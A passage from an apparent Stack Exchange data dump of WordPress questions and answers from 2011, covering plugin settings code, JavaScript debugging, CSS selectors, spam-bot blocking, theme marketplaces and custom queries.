?&amp;gt;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot; &amp;lt;?php if ( $option == '5' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; &amp;lt;?php&#xA;&#xA;} // End of mbu_college_fn()&#xA;&#xA;// Add college-wide EIS Seminars requirements field&#xA;function eis_college_fn() {&#xA;&#xA;    // Get options from database&#xA;    $options = get_option( 'cemb_seminar_options' );&#xA;    $option = $options['cemb_seminar_eis_college'];&#xA;&#xA;    // Build the select form ?&amp;gt;&#xA;    &amp;lt;select id=&quot;cemb_seminar_eis_college&quot; class=&quot;cemb_seminar_settings_field&quot; name=&quot;cemb_seminar_options[cemb_seminar_eis_college]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot; &amp;lt;?php if ( $option == '0' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot; &amp;lt;?php if ( $option == '1' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot; &amp;lt;?php if ( $option == '2' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot; &amp;lt;?php if ( $option == '3' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot; &amp;lt;?php if ( $option == '4' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot; &amp;lt;?php if ( $option == '5' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; &amp;lt;?php&#xA;&#xA;} // End of eis_college_fn()&#xA;&#xA;// Add college-wide SNG Seminars requirements field&#xA;function sng_college_fn() {&#xA;&#xA;    // Get options from database&#xA;    $options = get_option( 'cemb_seminar_options' );&#xA;    $option = $options['cemb_seminar_sng_college'];&#xA;&#xA;    // Build the select form ?&amp;gt;&#xA;    &amp;lt;select id=&quot;cemb_seminar_sng_college&quot; class=&quot;cemb_seminar_settings_field&quot; name=&quot;cemb_seminar_options[cemb_seminar_sng_college]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot; &amp;lt;?php if ( $option == '0' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot; &amp;lt;?php if ( $option == '1' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot; &amp;lt;?php if ( $option == '2' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot; &amp;lt;?php if ( $option == '3' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot; &amp;lt;?php if ( $option == '4' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5&quot; &amp;lt;?php if ( $option == '5' ) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt; &amp;lt;?php&#xA;&#xA;} // End of sng_college_fn()&#xA;&#xA;// Creates the course requirements page&#xA;function settings_page() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;icon32&quot; style=&quot;background-image:url(&amp;lt;?php echo WP_PLUGIN_URL . '/cemb-seminar/images/cemb-logo32x32.png'; ?&amp;gt;); background-repeat:no-repeat;&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Course Requirements&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;    &amp;lt;?php settings_fields( 'cemb_seminar_options' ); ?&amp;gt;&#xA;    &amp;lt;?php do_settings_sections( 'cemb-seminar' ); ?&amp;gt;&#xA;    &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input class=&quot;button-primary&quot; type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot; &amp;lt;?php _e( 'Save Settings' ); ?&amp;gt; &quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;?php&#xA;&#xA;} // End of settings_page()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6064" LastActivityDate="2011-07-20T12:20:17.640" Title="Plugin settings not saving" Tags="&lt;plugin-development&gt;&lt;settings-api&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23510" PostTypeId="1" CreationDate="2011-07-20T04:14:31.973" Score="0" ViewCount="39" Body="&lt;p&gt;I've been trying to add javascript to my wordpress install, only to find that I can't easily debug it, because something is suppressing errors and clearing them from the error console.  Any idea what might be doing this and how I bring the errors back?&lt;/p&gt;&#xA;" OwnerUserId="5294" LastActivityDate="2011-07-20T04:14:31.973" Title="Why are javascript errors not showing in the error console?" Tags="&lt;errors&gt;&lt;javascript&gt;" CommentCount="4" />
  <row Id="23511" PostTypeId="2" ParentId="23506" CreationDate="2011-07-20T04:29:48.637" Score="3" ViewCount="" Body="&lt;p&gt;&quot;Won't work&quot; doesn't say much. Use &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; with Firefox, or in Chrome or Safari or IE8, use the developer tools to check for JS errors on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP3.2 now includes jQuery 1.6 and your jsfiddle example uses 1.4, so there's a possible conflict.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-20T04:29:48.637" CommentCount="1" />
  <row Id="23512" PostTypeId="2" ParentId="23507" CreationDate="2011-07-20T04:47:20.157" Score="0" ViewCount="" Body="&lt;p&gt;In Admin - Appearance -Menues&lt;/p&gt;&#xA;&#xA;&lt;p&gt;leave the URL field for &quot;Work History&quot; empty, but fill the UL fields for the &quot;Job 1&quot;, &quot;Job 2&quot;, etc.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-07-20T04:47:20.157" CommentCount="3" />
  <row Id="23513" PostTypeId="2" ParentId="23474" CreationDate="2011-07-20T05:05:00.903" Score="1" ViewCount="" Body="&lt;p&gt;WRT to your question &quot;need to apply the class if another class is present and the user's role is (whatever)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest was to do this, isn't in the code, but yet in the CSS. You can target an element that has more then once class. So, using your class &lt;code&gt;PARTNER_STAR&lt;/code&gt; and if your other class is say &lt;code&gt;another&lt;/code&gt; you can have your css such that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.another { /* targets all elements with another set */ }&#xA;.PARTNER_STAR { /* targets all elements with PARTNER_STAR set */ }&#xA;.another.PARTNER_STAR { /* targets elements that have BOTH PARTNER_STAR and another set */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tying in the idea of @robertwbradford you can just set one parent element, and don't need it on every single one. If you have multiple roles, that just need one style, you can still have your if statement, just apply the css to a high-level parent element.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.PARTNER_STAR .another { /* targets all elements with another inside PARTNER_STAR */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-07-20T05:05:00.903" CommentCount="2" />
  <row Id="23514" PostTypeId="2" ParentId="23421" CreationDate="2011-07-20T05:13:06.143" Score="0" ViewCount="" Body="&lt;p&gt;I  sounds like your doing this wrong. You do not typically query the post meta first in a hierarchical query since it will be much slower.  I don't really know how your structuring this by your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic should be --&gt;query category---&gt;query posts with meta value ( or tag or sub-category, don't forget these work to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this you need to use &lt;code&gt;WP Query&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;code&gt;$query = new WP_Query( 'cat=4&amp;amp;meta_key=city' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your using a lot of meta field values you should set &lt;code&gt;get_post_meta&lt;/code&gt; to false or leave that parameter out to return an array ( your example has it set to true).&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-20T05:13:06.143" CommentCount="1" />
  <row Id="23515" PostTypeId="2" ParentId="23408" CreationDate="2011-07-20T05:32:28.833" Score="0" ViewCount="" Body="&lt;p&gt;You can prevent some hits by blocking bots before akismet catches them, these plugins can be very effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugins&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bad Behavior plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/bad-behavior/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bad-behavior/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Honeypot Traps: &lt;a href=&quot;http://wordpress.org/extend/plugins/project-honey-pot-spam-trap/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/project-honey-pot-spam-trap/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;WP-Hashcash &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-hashcash/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-hashcash/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Zig Trap &lt;a href=&quot;http://wordpress.org/extend/plugins/zigtrap/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/zigtrap/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Stop bots with no user agents from posting and directory browsing (this goes in your .htaccess)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{REQUEST_METHOD} POST&#xA;RewriteCond %{HTTP_USER_AGENT} ^$&#xA;RewriteRule .* - [F]&#xA;&#xA;Options All -Indexes&#xA;Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's still a problem consider contacting your host and using a firewall to block persistant bots or IP ranges ( for instance here is a list of bad bots, &lt;a href=&quot;http://www.wpsecure.net/bad-bot-list/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpsecure.net/bad-bot-list/&lt;/a&gt; ). This is not super effective as is, but an example of what your logs can tell you ( most bad bots use common browser user-agents).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out services like Cloudflare.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-20T05:32:28.833" />
  <row Id="23516" PostTypeId="2" ParentId="23508" CreationDate="2011-07-20T05:33:13.100" Score="0" ViewCount="" Body="&lt;p&gt;try to add a clear div after the slideshow abd before your content div,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;your slideshow&amp;gt;&#xA;&amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;your content&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-07-20T05:33:13.100" />
  <row Id="23518" PostTypeId="1" CreationDate="2011-07-20T05:34:31.650" Score="0" ViewCount="13" Body="&lt;p&gt;We're currently using Wordpress 3.1, and the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-store-locator-location-finder/&quot; rel=&quot;nofollow&quot;&gt;Store Locator Plugin&lt;/a&gt; version 1.2.41. &#xA;The plugin words wonderfully, and all, except for one annoying trait - images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can insert our own store images so it can be displayed with the location. However, we have noticed that the image tends to spill over the frame. It will resize if you click on the location a second time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://picasaweb.google.com/114631667765616501418/ImageSpillover?authuser=0&amp;amp;authkey=Gv1sRgCJHGj5OaxpLfXw&amp;amp;feat=directlink&quot; rel=&quot;nofollow&quot;&gt;Image spillover image link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to find out how we can resolve this issue, so that the bubble automatically resize itself around the image the first time around, instead of needlessly clicking on it a second time around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for any help that you can give me! :)&lt;/p&gt;&#xA;" OwnerUserId="5175" LastActivityDate="2011-07-20T05:34:31.650" Title="Plugin: Store Locator Image spillover Issue" Tags="&lt;plugins&gt;&lt;image&gt;&lt;map&gt;&lt;store-locator&gt;" />
  <row Id="23519" PostTypeId="2" ParentId="23421" CreationDate="2011-07-20T05:38:25.873" Score="0" ViewCount="" Body="&lt;p&gt;Give this a try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array( 'category' =&amp;gt; 3, 'meta_key' =&amp;gt; 'City' );&#xA;$lastposts = get_posts( $args );&#xA;echo '&amp;lt;select&amp;gt;';&#xA;echo '&amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;Please pick a city below...&amp;lt;/option&amp;gt;';&#xA;foreach($lastposts as $post) : setup_postdata($post);&#xA;    $themeta = get_post_meta($post-&amp;gt;ID,'City',true); ?&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo $themeta; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $themeta; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php endforeach;&#xA;echo '&amp;lt;/select&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't test it but it should work. It's getting all posts from a certain category along with a certain meta key.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-07-20T05:38:25.873" CommentCount="1" />
  <row Id="23521" PostTypeId="2" ParentId="17123" CreationDate="2011-07-20T05:55:14.483" Score="0" ViewCount="" Body="&lt;p&gt;You can try this plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/raw-html/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/raw-html/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-advanced/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;TinyMCE Advanced have setting to &lt;strong&gt;Stop removing the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; tags when saving and show them in the HTML editor&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4967" LastActivityDate="2011-07-20T05:55:14.483" CommentCount="1" />
  <row Id="23522" PostTypeId="1" CreationDate="2011-07-20T06:04:11.157" Score="0" ViewCount="38" Body="&lt;p&gt;Hi I have a VPS and one particular site is apparently causing the server to crash and I am getting alerts about lots of IO going on. How can I troubleshoot to see what is causing the extra load?&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-08-21T14:33:00.897" Title="WordPress site causing lots of server IO" Tags="&lt;server&gt;" AnswerCount="2" />
  <row Id="23524" PostTypeId="2" ParentId="22688" CreationDate="2011-07-20T08:10:34.303" Score="4" ViewCount="" Body="&lt;p&gt;here is a nice brake down for you:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;MarketPlaces&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Themes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Theme Forest&lt;/em&gt;&lt;/strong&gt;&#xA; - Probably the biggest theme marketplace by Evanto. Rates: New authors begin at the 50% &lt;a href=&quot;http://themeforest.net/wiki/selling/getting-paid/payment-rates/&quot; rel=&quot;nofollow&quot;&gt;read more&lt;/a&gt;  -&lt;a href=&quot;http://themeforest.net/&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Templamatic&lt;/em&gt;&lt;/strong&gt;&#xA; - Rates: between 50% and 70% &lt;a href=&quot;http://www.templamatic.com/faq.asp&quot; rel=&quot;nofollow&quot;&gt;read more&lt;/a&gt; - &lt;a href=&quot;http://www.templamatic.com/&quot; rel=&quot;nofollow&quot;&gt;Site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;BuyStockDesign&lt;/em&gt;&lt;/strong&gt;&#xA; - Rates: Start from 50% to 75% &lt;a href=&quot;http://www.buystockdesign.com/MakeMoney.html#3&quot; rel=&quot;nofollow&quot;&gt;read more&lt;/a&gt; - &lt;a href=&quot;http://www.buystockdesign.com/&quot; rel=&quot;nofollow&quot;&gt;Site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;BuySellWordpress&lt;/em&gt;&lt;/strong&gt; &#xA; - Rates: Starts from 50% and may go up to 70% &lt;a href=&quot;http://www.buysellwp.com/sell/&quot; rel=&quot;nofollow&quot;&gt;read more&lt;/a&gt; - &lt;a href=&quot;http://www.buysellwp.com/&quot; rel=&quot;nofollow&quot;&gt;Site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;WPmart&lt;/em&gt;&lt;/strong&gt;&#xA; - Free listing - &lt;a href=&quot;http://www.wpmart.net/&quot; rel=&quot;nofollow&quot;&gt;Site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugins&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Code Canyon&lt;/em&gt;&lt;/strong&gt;&#xA; - Probably the biggest Plugin marketplace again by Evanto.&#xA; - Rates: New authors begin at the 50% &lt;a href=&quot;http://codecanyon.net/wiki/selling/getting-paid/payment-rates/&quot; rel=&quot;nofollow&quot;&gt;read more&lt;/a&gt;&#xA; - &lt;a href=&quot;http://codecanyon.net/&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;WPPlugins&lt;/em&gt;&lt;/strong&gt;&#xA; - The only other major plugin market place by Incsub.&#xA; - Rates: 70% fixed.&#xA; - &lt;a href=&quot;http://wpplugins.com/&quot; rel=&quot;nofollow&quot;&gt;Site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;WPmart&lt;/em&gt;&lt;/strong&gt; - as listed in themes&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Forums&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There is a lot of potential for selling templates on webmaster and webdev forums with marketplaces and very high traffic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tycoontalk.freelancer.com/marketplace/&quot; rel=&quot;nofollow&quot;&gt;Webmaster-Talk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.talkfreelance.com/forumdisplay.php?f=59&quot; rel=&quot;nofollow&quot;&gt;TalkFreelance&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forums.digitalpoint.com/forumdisplay.php?f=24&quot; rel=&quot;nofollow&quot;&gt;Digital Point&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Other Designers and Developers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Two approaches here&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contact Designers and Developers who are selling in there own sites and ask to list your theme/plugin for a cut of the profit (negotiate well).&lt;/li&gt;&#xA;&lt;li&gt;Contact Designers, Developers and Website builders look for there portfolios and see if you have a product (theme/plugin) they would need and use, offer to license a such product so they could use for there customers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and lastly,&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sell on your Own site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Its harder then any other option but you get to keep 100% of the profits so if you market your self the right way you won't need any of the places listed here :)&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-20T08:10:34.303" />
  <row Id="23525" PostTypeId="1" CreationDate="2011-07-20T08:33:52.880" Score="0" ViewCount="32" Body="&lt;p&gt;The problem isn't that complex (compared to the description I'll write :)) but I'd like to do this as correct as possible (e.g. I could be doing it wrong with Home.php), so I'll give you the whole context. &#xA;As a part of my design, the page displays different background images. For that I use Supersized, &quot;a fullscreen background slideshow built using the jQuery library&quot;. Some of my pages use one background image (no slideshow obviously :), and some use three. Also, I use javascript to detect the users monitor resolution and serve him an appropriate image size:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var imageToBeLoaded = &quot;images/bg_index.jpg&quot;;&#xA;$(document).ready( function () {&#xA;if(window.screen.width &amp;gt; 1024) {&#xA;  imageToBeLoaded = &quot;images/bg_index_large.jpg&quot;;&#xA;}});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the problems are:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Home.php isn't a page accessible through WP-Admin so I can't give it custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: &lt;code&gt;if  (isHome()){ setDefaultalues();}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) If I'm not on the homepage, I need to get the custom fields key/vaules but only for the properties that are related to the image background (and as I said before, ever page has 1 to N number of background images). For example, my About page has 5 properties, &lt;code&gt;bgImg1&lt;/code&gt;, &lt;code&gt;smallImg1&lt;/code&gt;, &lt;code&gt;bgImg2&lt;/code&gt;, &lt;code&gt;smallImg2&lt;/code&gt; and &lt;code&gt;greeting text&lt;/code&gt;. That means I need to get all the variables and parse the name so I can get e.g. &lt;code&gt;bgImg1&lt;/code&gt; and &lt;code&gt;bgImg2&lt;/code&gt;. Additionally, Supersized needs a text description as another parameter, so the page needs to have two more parameteres, &lt;code&gt;desc1&lt;/code&gt; and &lt;code&gt;desc2&lt;/code&gt; which I also need to get and combine with the appropriate &lt;code&gt;bgImg&lt;/code&gt; so I can generate output that looks like this (from the static page): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{image : 'images/bg_rwanda.jpg', title : 'Rwanda Home'}, {image : 'images/bg_rwanda2.jpg', title : 'Rwanda School'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pseudocode would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var output = &quot;{image : '&quot;;&#xA;var imageIsLarge= false;&#xA;if (getResolution() &amp;gt; 1024 ) { imageIsLarge= true; }&#xA;while (hasNextProperty()){&#xA;  Property prop = nextProperty();&#xA;  if (imageIsLarge) {&#xA;      if (prop.getKey().startsWith (bgImageL)){&#xA;         output += prop.getValue()+&quot;, title:&quot;;&#xA;         // etc. Also, I need to set the code to first get the first img, &#xA;         // not just in any order and pair it with the first  description&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this seems a bit complex and I have a feeling I could do it simpler, but I have no idea how.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2011-07-20T12:13:47.667" Title="How can I use custom properties to set different background on different pages?" Tags="&lt;custom-field&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="23527" PostTypeId="2" ParentId="14622" CreationDate="2011-07-20T08:53:58.503" Score="0" ViewCount="" Body="&lt;p&gt;Also take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-tree-page-view/&quot; rel=&quot;nofollow&quot;&gt;Admin Menu Tree Page View&lt;/a&gt;. It's like the above mentioned CMS Tree Page View, but always visible in the left admin menu. I think it sounds more like what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin looks like this:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-tree-page-view/screenshots/&quot; rel=&quot;nofollow&quot;&gt;screenshots&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2855" LastActivityDate="2011-07-20T08:53:58.503" />
  <row Id="23528" PostTypeId="1" CreationDate="2011-07-20T08:58:05.163" Score="0" ViewCount="22" Body="&lt;p&gt;I'm trying to edit a plugin to display a post from the multi blog network- it uses a very custom query and don't know where to add in the offset so that its not the latest post that shows. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tag_posts_display_recent_small_offset($tmp_tag,$tmp_number,$tmp_title_characters = 0,$tmp_content_characters = 0,$tmp_title_content_divider = '&amp;lt;br /&amp;gt;',$tmp_titlewrap_before,$tmp_titlewrap_after,$tmp_title_before,$tmp_title_after,$tmp_global_before,$tmp_global_after,$tmp_before,$tmp_after){&#xA;global $wpdb;&#xA;$tmp_tag_id = $wpdb-&amp;gt;get_var(&quot;SELECT term_id FROM &quot; . $wpdb-&amp;gt;base_prefix . &quot;terms WHERE slug = '&quot; . $tmp_tag . &quot;' OR name = '&quot; . $tmp_tag . &quot;'&quot;);&#xA;$query = &quot;SELECT * FROM &quot; . $wpdb-&amp;gt;base_prefix . &quot;site_posts WHERE post_terms LIKE '%|&quot; . $tmp_tag_id . &quot;|%' ORDER BY post_published_stamp DESC LIMIT &quot; . $tmp_number;&#xA;$tmp_posts = $wpdb-&amp;gt;get_results( $query, ARRAY_A );&#xA;&#xA;if (count($tmp_posts) &amp;gt; 0){&#xA;    echo $tmp_global_before;&#xA;    foreach ($tmp_posts as $tmp_post){&#xA;        echo $tmp_before;&#xA;        if ( $tmp_title_characters &amp;gt; 0 ) {&#xA;            echo $tmp_title_before;&#xA;switch_to_blog($tmp_post['blog_id']);&#xA;&#xA;  restore_current_blog();&#xA;            echo '&amp;lt;br /&amp;gt;';&#xA;            echo '&amp;lt;a href=&quot;' . $tmp_post['post_permalink'] . '&quot; style=&quot;text-decoration:none;&quot;&amp;gt;' . substr($tmp_post['post_title'],0,$tmp_title_characters) . '&amp;lt;/a&amp;gt;';&#xA;            echo $tmp_title_after;&#xA;        }&#xA;        echo $tmp_title_content_divider;&#xA;&#xA;        switch_to_blog($tmp_post['blog_id']);&#xA;  echo '&amp;lt;a href=&quot;' . $tmp_post['post_permalink'] . '&quot; style=&quot;text-decoration:none;&quot;&amp;gt;' . get_the_image( array( 'post_id' =&amp;gt; $tmp_post['post_id'], 'size' =&amp;gt; 'thumbnail' ) )  .'&amp;lt;/a&amp;gt;';&#xA;  restore_current_blog();&#xA;&#xA;&#xA;        if ( $tmp_content_characters &amp;gt; 0 ) {&#xA;            echo substr($tmp_post['post_content_stripped'],0,$tmp_content_characters);&#xA;        }&#xA;        echo $tmp_after;&#xA;    }&#xA;    echo $tmp_global_after;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6402" LastActivityDate="2011-07-20T08:58:05.163" Title="offset posts in complicated custom query - wpmu" Tags="&lt;multisite&gt;&lt;query-posts&gt;&lt;offsets&gt;" CommentCount="2" />
  <row Id="23529" PostTypeId="1" CreationDate="2011-07-20T09:34:11.723" Score="1" ViewCount="33" Body="&lt;p&gt;I use wordpress and disqus plugin,&#xA;when user add comment, after few minute, disqus agent will update wordpress database (wp_posts,wp_comments …etc),but when administrator delete comment, disqus will not update wp_posts's comment_count and wp_comments,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't get accuracy comment_count and comment counts got messed up, how could I get accuracy comment_count of every post ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sonic&lt;/p&gt;&#xA;" OwnerUserId="6720" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-22T06:43:46.357" LastActivityDate="2011-08-22T15:29:41.563" Title="WordPress 'comment counts' got messed up, because of a plugin - DISQUS" Tags="&lt;comments&gt;&lt;database&gt;&lt;plugin-disqus&gt;" AnswerCount="1" />
